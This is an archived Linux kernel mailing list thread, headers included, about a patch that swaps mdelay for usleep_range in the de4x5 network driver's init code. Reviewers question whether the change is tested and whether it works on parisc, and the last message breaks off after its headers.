        johannes.berg@intel.com, arvind.yadav.cs@gmail.com,
        dhowells@redhat.com
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Apr 11 17:37:58 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f6Hoo-0001WF-Ix
	for glk-linux-kernel-4@m.gmane.org; Wed, 11 Apr 2018 17:37:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753766AbeDKPkC (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 11 Apr 2018 11:40:02 -0400
Original-Received: from mail-pg0-f66.google.com ([74.125.83.66]:36685 "EHLO
        mail-pg0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752852AbeDKPkA (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 11 Apr 2018 11:40:00 -0400
Original-Received: by mail-pg0-f66.google.com with SMTP id d6so928588pgt.3;
        Wed, 11 Apr 2018 08:40:00 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=rzG3necApYUKaevlF61U8QCxcpY70A30gGVJutzPUtw=;
        b=C//Rm2LzFceWslzJ+QyjDuYDOriW4GRxEsf024f6TKBJEGY55ntidLwby2NFSsfZSH
         lw0cuxyy4VVK+STGBRXlrLYUsJgt1pe2BVByvNex0Tqc1QwHOX7eTxs03V0rZUiOSTZU
         U7b/LoVgXsQq1LKfhGKrvc5F5K150/8YcYgaZZ3s2LwBb6Zxmd190ZwcsNtPpnM+o1Y4
         w+klukvxmaJBTdIue34+fbYQcaSQMULo3J3LP/+NT948d3fRFj73X8DNAwqgUdqwTtAM
         82EUVrEk0pB75tLOTVGEMK8q2xOiwrlm3kt9Ma4/FQAHwlT2CWulqtnbzxVw3jyEy1wX
         AHSQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=rzG3necApYUKaevlF61U8QCxcpY70A30gGVJutzPUtw=;
        b=Ip0/J6YnSx/71x6DzIcA+3RzyrF4YgXyIhqpgXJ2OyZVYPSfxWRZCwgSS9AYrUzGj4
         NMRo/7MZtGew+/cgISw7E+lGp/7GZ9K4BWHgb2Zvt8n5FX0Pq+PejwT5/olL1gv41hnk
         +UXtQr0dgZgC7FM8DM5M+zIyS1cUX9wXczXyiEwUW/ga8ez1/AjD/enUNBC6vcPERCAR
         DCkfvw3w96y4MZFRlcMocwmY79LikvMC/G0K1rBRJFzbKyQK0NDxc7pJ2LOGEktw2f6V
         X4/J8a+r0qYG8iCA+qj3US2F4LKsJoo9BrG5OefBB2Fi5gPk5VNS39yx19uhKjATwuqY
         l/Uw==
X-Gm-Message-State: ALQs6tBM2TVWnfSQ1CuyYJUViKGxbzMbkbhPDd2TKR1HsltZM3Tm0Jsq
        mI/5X0EYUXIm5ozWWOlh47o=
X-Google-Smtp-Source: AIpwx49GprQ1IBGNtbrZfn8Lrf13ATM2xClsbftM9/IEmbSl0fWDVBPvEnnU3vjQ4Cl16IwJyel0Zw==
X-Received: by 10.98.10.156 with SMTP id 28mr4493566pfk.33.1523461200246;
        Wed, 11 Apr 2018 08:40:00 -0700 (PDT)
Original-Received: from oslab.tsinghua.edu.cn ([2402:f000:1:4413:edc8:c1dd:b0a8:461d])
        by smtp.gmail.com with ESMTPSA id l80sm4113687pfk.73.2018.04.11.08.39.53
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Wed, 11 Apr 2018 08:39:59 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2738841 gmane.linux.network:526413 gmane.linux.ports.parisc:28479
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2738841>

de4x5_hw_init() is never called in atomic context.

de4x5_hw_init() is only called by de4x5_pci_probe(), which is only 
set as ".probe" in struct pci_driver.

Despite never getting called from atomic context, de4x5_hw_init() 
calls mdelay() to busily wait.
This is not necessary and can be replaced with usleep_range() to 
avoid busy waiting.

This is found by a static analysis tool named DCNS written by myself.
And I also manually check it.

Signed-off-by: Jia-Ju Bai <baijiaju1990@gmail.com>
---
v2:
* Use usleep_range() to correct usleep() in v1.
	
---
 drivers/net/ethernet/dec/tulip/de4x5.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/net/ethernet/dec/tulip/de4x5.c b/drivers/net/ethernet/dec/tulip/de4x5.c
index 0affee9..3fb0119 100644
--- a/drivers/net/ethernet/dec/tulip/de4x5.c
+++ b/drivers/net/ethernet/dec/tulip/de4x5.c
@@ -1107,7 +1107,7 @@ static int (*dc_infoblock[])(struct net_device *dev, u_char, u_char *) = {
 	pdev = to_pci_dev (gendev);
 	pci_write_config_byte(pdev, PCI_CFDA_PSM, WAKEUP);
     }
-    mdelay(10);
+    usleep_range(10000, 11000);
 
     RESET_DE4X5;
 
-- 
1.9.1



From - Thu Nov 08 21:41:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: [PATCH v2] dec: tulip: de4x5: Replace mdelay with usleep_range
 in de4x5_hw_init
Date: Wed, 11 Apr 2018 09:16:19 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <1523463379.3221.18.camel@HansenPartnership.com>
References: <1523461182-5897-1-git-send-email-baijiaju1990@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1523463258 22927 195.159.176.226 (11 Apr 2018 16:14:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 11 Apr 2018 16:14:18 +0000 (UTC)
Cc: netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: Jia-Ju Bai <baijiaju1990@gmail.com>, davem@davemloft.net,
        stephen@networkplumber.org, johannes.berg@intel.com,
        arvind.yadav.cs@gmail.com, dhowells@redhat.com
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Apr 11 18:14:14 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f6INx-0005S2-Br
	for glk-linux-kernel-4@m.gmane.org; Wed, 11 Apr 2018 18:14:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753944AbeDKQQW (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 11 Apr 2018 12:16:22 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:35650 "EHLO
        bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1752798AbeDKQQV (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 11 Apr 2018 12:16:21 -0400
Original-Received: from localhost (localhost [127.0.0.1])
        by bedivere.hansenpartnership.com (Postfix) with ESMTP id 7C3BD8EE25E;
        Wed, 11 Apr 2018 09:16:20 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
        by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
        with ESMTP id 09XO-RO8WNpN; Wed, 11 Apr 2018 09:16:20 -0700 (PDT)
Original-Received: from [153.66.254.194] (unknown [50.35.65.221])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id E6C578EE0E2;
        Wed, 11 Apr 2018 09:16:19 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
        s=20151216; t=1523463380;
        bh=J3WvXvOkxsyT7KiMW368rniLy0fsn4U7XqawEewVWEk=;
        h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
        b=RrO9JqKtzXCHuUdX3F7044TiDcWNMt8MtljMIsy1vEG4yHa8VZWRQMcnhPL3CU1vE
         rz5JyADd+yEI3Xue1zM1dULipxAMv2qmgGh32Jp8eJ0xUGIVaSQSuLOd7T40tMLKrm
         krQV+LD9vbmDrMpuqOezS9AYpTL1gG9w0xkqD+pc=
In-Reply-To: <1523461182-5897-1-git-send-email-baijiaju1990@gmail.com>
X-Mailer: Evolution 3.22.6 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2738871 gmane.linux.network:526434 gmane.linux.ports.parisc:28480
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2738871>

On Wed, 2018-04-11 at 23:39 +0800, Jia-Ju Bai wrote:
> de4x5_hw_init() is never called in atomic context.
> 
> de4x5_hw_init() is only called by de4x5_pci_probe(), which is only 
> set as ".probe" in struct pci_driver.
> 
> Despite never getting called from atomic context, de4x5_hw_init() 
> calls mdelay() to busily wait. This is not necessary and can be
> replaced with usleep_range() to  avoid busy waiting.
> 
> This is found by a static analysis tool named DCNS written by myself.
> And I also manually check it.

Did you actually test this?  The usual reason for wanting m/udelay is
that the timing must be exact.  The driver is filled with mdelay()s for
this reason.  The one you've picked on is in the init path so it won't
affect the runtime in any way.  I also don't think we have the hrtimer
machinery for usleep_range() to work properly on parisc, so I don't
think the replacement works.

James



From - Thu Nov 08 21:41:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jia-Ju Bai <baijiaju1990@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: [PATCH v2] dec: tulip: de4x5: Replace mdelay with usleep_range in
 de4x5_hw_init
Date: Thu, 12 Apr 2018 09:30:32 +0800
Lines: 40
Approved: news@gmane.org
Message-ID: <8bac3385-97c6-fff1-17c6-11f5e98a039a@gmail.com>
References: <1523461182-5897-1-git-send-email-baijiaju1990@gmail.com>
 <1523463379.3221.18.camel@HansenPartnership.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1523496536 1470 195.159.176.226 (12 Apr 2018 01:28:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 12 Apr 2018 01:28:56 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.0
Cc: netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
        davem@davemloft.net, stephen@networkplumber.org,
        johannes.berg@intel.com, arvind.yadav.cs@gmail.com,
        dhowells@redhat.com
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Apr 12 03:28:51 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f6R2g-0000Dx-SE
	for glk-linux-kernel-4@m.gmane.org; Thu, 12 Apr 2018 03:28:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752386AbeDLBaz (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 11 Apr 2018 21:30:55 -0400
Original-Received: from mail-pf0-f193.google.com ([209.85.192.193]:37662 "EHLO
        mail-pf0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751841AbeDLBax (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 11 Apr 2018 21:30:53 -0400
Original-Received: by mail-pf0-f193.google.com with SMTP id p6so2212028pfn.4;
        Wed, 11 Apr 2018 18:30:52 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=subject:to:cc:references:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-transfer-encoding:content-language;
        bh=n88iqFR8BBd8Ci4haWdle3HRhxwLTCnlrnKlQdabRv4=;
        b=Dqy2zv4aaZurWMa8swhDgoQI0KIf8Fxat/1soPPw7gCfmcVxwkWPncVCBlMfOH2siM
         d8Jb/zTqdbAVTsU/vOY6edymCZLtqHw2MRKv+WwVVCKCuZn62UrzF2OdDZLeBuTcBug8
         GZ7NXmq0xq9NAFKgpD3yYIbUDRFzFlnX99+e2gIaoN1D06coiPesTfx20sMKvUJtYvxk
         NSn5rWQFQbRx1uBPvRJ7J1qN/Xs+xBx24LHtjNuVPTYWnATjfpYVsBjlxXCbKvQUG9b3
         vgcH1vBzyNb7q+XaXd7XlVxZgfmIqBzGlkkHvUv8SfeSijn2N5lJeFium3Odj3l7HKZu
         uHHg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:subject:to:cc:references:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-transfer-encoding
         :content-language;
        bh=n88iqFR8BBd8Ci4haWdle3HRhxwLTCnlrnKlQdabRv4=;
        b=XllnofeuflK3BFQGv/Vdbr1XqRKH2HWEPa+AhxG2llzWgzcb4X4Mlk6G0+WcsV+RXc
         nstntvxqv+EMXcFG7n6rPsuPbjUy5mYV8bxJ92CYCxWHrqrdkILSrX2N3Xdi9cQFYIT5
         XQ5/Ep6+ZYQxpmQtTf5XSe1+B2xtnESH2o4gpry1b4FS7q5y7d3JYkisrssCXVib+THL
         z6Bh31WiGwMaEDx/H0xvZRBYVBfe0BF1zBd+1jAjPuhR5OkAtKAdHpC4vE6ESa38tD57
         DsOwoQrPu003rTvqSnxIg3nRN+lgZ2FlA1SyWO7BSIwFAHvGEktFhkHQAVwCAghwVH48
         CfkQ==
X-Gm-Message-State: ALQs6tBOZPvkKcUXb+K2fQYgYiJ9SqzioGMdZeleDaj0Mk/HK02HSTcC
        vY1ZYva3dHKIKcYCqCFJXA4mjHfkWe8=
X-Google-Smtp-Source: AIpwx4/wGgVPYr78q4V8gnqyBb9OWsM5GqQXi2e6l4NrcOtjo2MS+YVKxZlC0Mewe+P7NvGH6i/d/Q==
X-Received: by 10.99.170.70 with SMTP id x6mr5142763pgo.114.1523496652451;
        Wed, 11 Apr 2018 18:30:52 -0700 (PDT)
Original-Received: from ?IPv6:2402:f000:1:1501:200:5efe:166.111.70.53? ([2402:f000:1:1501:200:5efe:a66f:4635])
        by smtp.gmail.com with ESMTPSA id f19sm3670062pgv.39.2018.04.11.18.30.49
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 11 Apr 2018 18:30:51 -0700 (PDT)
In-Reply-To: <1523463379.3221.18.camel@HansenPartnership.com>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2739780 gmane.linux.network:526497 gmane.linux.ports.parisc:28481
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2739780>



On 2018/4/12 0:16, James Bottomley wrote:
> On Wed, 2018-04-11 at 23:39 +0800, Jia-Ju Bai wrote:
>> de4x5_hw_init() is never called in atomic context.
>>
>> de4x5_hw_init() is only called by de4x5_pci_probe(), which is only
>> set as ".probe" in struct pci_driver.
>>
>> Despite never getting called from atomic context, de4x5_hw_init()
>> calls mdelay() to busily wait. This is not necessary and can be
>> replaced with usleep_range() to  avoid busy waiting.
>>
>> This is found by a static analysis tool named DCNS written by myself.
>> And I also manually check it.
> Did you actually test this?  The usual reason for wanting m/udelay is
> that the timing must be exact.  The driver is filled with mdelay()s for
> this reason.  The one you've picked on is in the init path so it won't
> affect the runtime in any way.  I also don't think we have the hrtimer
> machinery for usleep_range() to work properly on parisc, so I don't
> think the replacement works.
>
> James
>

Hello, James.
Thanks for your reply :)

I agree that usleep_range() here will not much affect the real execution 
of this driver.

But I think usleep_range() can more opportunity for other threads to use 
the CPU core to schedule during waiting.
That is why I detect mdelay() that can be replaced with msleep() or 
usleep_range().


Best wishes,
Jia-Ju Bai


From - Thu Nov 08 21:41:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: arvindY <arvind.yadav.cs@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: [PATCH v2] dec: tulip: de4x5: Replace mdelay with usleep_range in
 de4x5_hw_init
Date: Thu, 12 Apr 2018 07:51:42 +0530
Lines: 53
Approved: news@gmane.org
Message-ID: <5ACEC2B6.9080904@gmail.com>
References: <1523461182-5897-1-git-send-email-baijiaju1990@gmail.com>
 <1523463379.3221.18.camel@HansenPartnership.com>
 <8bac3385-97c6-fff1-17c6-11f5e98a039a@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1523499587 13621 195.159.176.226 (12 Apr 2018 02:19:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 12 Apr 2018 02:19:47 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.6.0
Cc: netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: Jia-Ju Bai <baijiaju1990@gmail.com>,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        davem@davemloft.net, stephen@networkplumber.org,
        johannes.berg@intel.com, dhowells@redhat.com
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Apr 12 04:19:43 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f6Rpu-0003PG-F8
	for glk-linux-kernel-4@m.gmane.org; Thu, 12 Apr 2018 04:19:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752611AbeDLCVt (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 11 Apr 2018 22:21:49 -0400
Original-Received: from mail-pf0-f193.google.com ([209.85.192.193]:42611 "EHLO
        mail-pf0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751858AbeDLCVr (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 11 Apr 2018 22:21:47 -0400
Original-Received: by mail-pf0-f193.google.com with SMTP id o16so2305384pfk.9;
        Wed, 11 Apr 2018 19:21:47 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-transfer-encoding;
        bh=4/DM3W4XI0e1pChNjjesCGy0FjPX78dUYHlUxmOe6Es=;
        b=Mi3D3aBIIAAB/Nn3MC4JLV3DVtVU0KWkOKSCorUHEZ99B1SEtKUhbAeCq5WFhbiOp5
         E0zrcfa3BJNRNV/sTGUnyHOGEmu/w1On7REbi+0n9SdIwKy1W5TwvUlQ5RrbvdpOFJWO
         tx8CKgzd//nnCLZo4rqyoN5gdoe+bz7jKhv/UYFot8t7Syk9uq7+lV43hui8KQKNufzh
         +YwZbcZ/c+i01OO5Fq7DpPoWpOLX9Em8xDsmTnr4l68CU1GgyCD3kPyR/ULbdA3Qj9qT
         E/Ybt+nCSoQfB5ZwS3xOoihabRU0/3btfMrqPo/pyUH7I976GTdBJmDZyD3ekC5wuHWB
         pt8g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-transfer-encoding;
        bh=4/DM3W4XI0e1pChNjjesCGy0FjPX78dUYHlUxmOe6Es=;
        b=E6sTahyhbXd7XxGvBYVY04h5VVNtsEI9L4ZBXJnvg2fxQBcwzxK5REwL6yfUnveT8N
         eBFMLWFfU2vrJ/0d6cv+0L1xroz6PAmInJSK1MJYd3VE7ksxUYVh1SgsHLu3qI0Qsu1a
         CcT1nswXLd7UE7C3R5o5Uo61kAT+nSuh77ePfLlBANo9Pd+ErXkYIKMubf7U6NO+cMH5
         sFEe6EqXk8P40vEdcv2CWRS4bO48aHceuHa0pl5WOFBsuZKDaaABYahjUfDzMQbMb/E7
         FsnVelY6oc0GQ4hHB60/gG0y5kWAKSKbYcYSodNKUUMMVW7HlksR+6ZBVjqexjMAYmE/
         FR7A==
X-Gm-Message-State: ALQs6tCLaR4bdIgSpcQ40e/auXaIcEe7mAJ5mn9asTSTBYof7l8kueEs
        PNJ46WNP1S53odyOi+s9JjKtvA==
X-Google-Smtp-Source: AIpwx4/Gu38WXIDTV37j+YvX0IMouFSL2Cjl+Ulnz090c8414Fi/ONKPpEpmnhD0bxLQY5hnNyx2Qg==
X-Received: by 10.99.119.133 with SMTP id s127mr5142103pgc.441.1523499707053;
        Wed, 11 Apr 2018 19:21:47 -0700 (PDT)
Original-Received: from [192.168.0.104] ([106.51.29.61])
        by smtp.gmail.com with ESMTPSA id u27sm5002994pfk.100.2018.04.11.19.21.43
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 11 Apr 2018 19:21:46 -0700 (PDT)
In-Reply-To: <8bac3385-97c6-fff1-17c6-11f5e98a039a@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2739808 gmane.linux.network:526502 gmane.linux.ports.parisc:28482
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2739808>



On Thursday 12 April 2018 07:00 AM, Jia-Ju Bai wrote:
>
>
> On 2018/4/12 0:16, James Bottomley wrote:
>> On Wed, 2018-04-11 at 23:39 +0800, Jia-Ju Bai wrote:
>>> de4x5_hw_init() is never called in atomic context.
>>>
>>> de4x5_hw_init() is only called by de4x5_pci_probe(), which is only
>>> set as ".probe" in struct pci_driver.
>>>
>>> Despite never getting called from atomic context, de4x5_hw_init()
>>> calls mdelay() to busily wait. This is not necessary and can be
>>> replaced with usleep_range() to  avoid busy waiting.
>>>
>>> This is found by a static analysis tool named DCNS written by myself.
>>> And I also manually check it.
>> Did you actually test this?  The usual reason for wanting m/udelay is
>> that the timing must be exact.  The driver is filled with mdelay()s for
>> this reason.  The one you've picked on is in the init path so it won't
>> affect the runtime in any way.  I also don't think we have the hrtimer
>> machinery for usleep_range() to work properly on parisc, so I don't
>> think the replacement works.
>>
>> James
>>
>
> Hello, James.
> Thanks for your reply :)
>
> I agree that usleep_range() here will not much affect the real 
> execution of this driver.
>
> But I think usleep_range() can more opportunity for other threads to 
> use the CPU core to schedule during waiting.
> That is why I detect mdelay() that can be replaced with msleep() or 
> usleep_range().
>

James is right, You have added all usleep_range() during system boot-up 
time.
During boot-up system will run as single threaded. Where this change will
not make much sense. System first priority is match the exact timing on
each and every boot-up.

~arvind

>
> Best wishes,
> Jia-Ju Bai



From - Thu Nov 08 21:41:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jia-Ju Bai <baijiaju1990@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: [PATCH v2] dec: tulip: de4x5: Replace mdelay with usleep_range in
 de4x5_hw_init
Date: Thu, 12 Apr 2018 10:26:47 +0800
Lines: 63
Approved: news@gmane.org
Message-ID: <df283c24-5a6e-8d17-ca61-10c66ddf4fca@gmail.com>
References: <1523461182-5897-1-git-send-email-baijiaju1990@gmail.com>
 <1523463379.3221.18.camel@HansenPartnership.com>
 <8bac3385-97c6-fff1-17c6-11f5e98a039a@gmail.com> <5ACEC2B6.9080904@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1523499909 5692 195.159.176.226 (12 Apr 2018 02:25:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 12 Apr 2018 02:25:09 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.0
Cc: netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: arvindY <arvind.yadav.cs@gmail.com>,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        davem@davemloft.net, stephen@networkplumber.org,
        johannes.berg@intel.com, dhowells@redhat.com
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Apr 12 04:25:04 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f6Rv5-0001MJ-Ff
	for glk-linux-kernel-4@m.gmane.org; Thu, 12 Apr 2018 04:25:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752745AbeDLC1L (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 11 Apr 2018 22:27:11 -0400
Original-Received: from mail-pl0-f67.google.com ([209.85.160.67]:38016 "EHLO
        mail-pl0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752320AbeDLC1J (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 11 Apr 2018 22:27:09 -0400
Original-Received: by mail-pl0-f67.google.com with SMTP id c7-v6so2805252plr.5;
        Wed, 11 Apr 2018 19:27:09 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=subject:to:cc:references:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-transfer-encoding:content-language;
        bh=SVM6x19jRFkKUMl8FaOSL+9MAAX5fyKrBaRiQ+haYKI=;
        b=X7yShziCzNlPJPeu5CdYfcE7hup3ZIy9+wq/fQLa24qjV1LQbZCTdYmHGIwZ27RetC
         7AYjqSVMsRw8dfpeEXIiexq+hhC3qvg0txYv8aUgQcOOVyhtCZF38Hkzp0ARi+mGo09j
         5ZMBJ6a0uHMJCimIcCuegyiJbWsWMMoQsBNyQmFqxn1y2+u+fraWXGslt/EsolW1KYNg
         P/fU4LYj9osSybu5VuuYca9CkdBpLwAEMDWZpdFfTx/ulfyGDU8VrtOqjVyqTKW5ViNv
         acFzcZuhv4bjM9LS9k0emHqKWTpoVxSesApu0gBOhR31J1tmtvtBTMPbTnGppubhPkS+
         Hi4w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:subject:to:cc:references:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-transfer-encoding
         :content-language;
        bh=SVM6x19jRFkKUMl8FaOSL+9MAAX5fyKrBaRiQ+haYKI=;
        b=ASF7f0WLl0W2Ds75++Zg4jlbB/vMcPSKK6SSe551DBoaZs0KlXLwIRUnt57omM1DzC
         MiUFMVTT21yCurhcHoiLvVNIWCzfOoCze79QIk9ooiVTOc71YMCN1/Nen4fsci0zP41y
         pRLv9MZ3MMZwFO57mwuLgk/WWrPwvuIQtxgzNi2aYE1xdOP+p5TNuCO5vUMQO5pIivxM
         n/OPvCN1mmt55Udel9hScdg+/rsWwgiooXXbzrMuULsV2bViUt9w29hB8fbNCTqGbZ1G
         1LnTe/gsT/AzJJrTNRSL2SSLrIfXPlK2nW3PzPwwPL5jQGlQLXPNmITszS680/W219Q9
         yvNg==
X-Gm-Message-State: ALQs6tBnoeth39vp1RDo6INo+q44zb+GKyDv5y3HvJ8QN9/AF1Cbw6TR
        T3LGmr+IdSivksWXhkatgUkeGWJONUI=
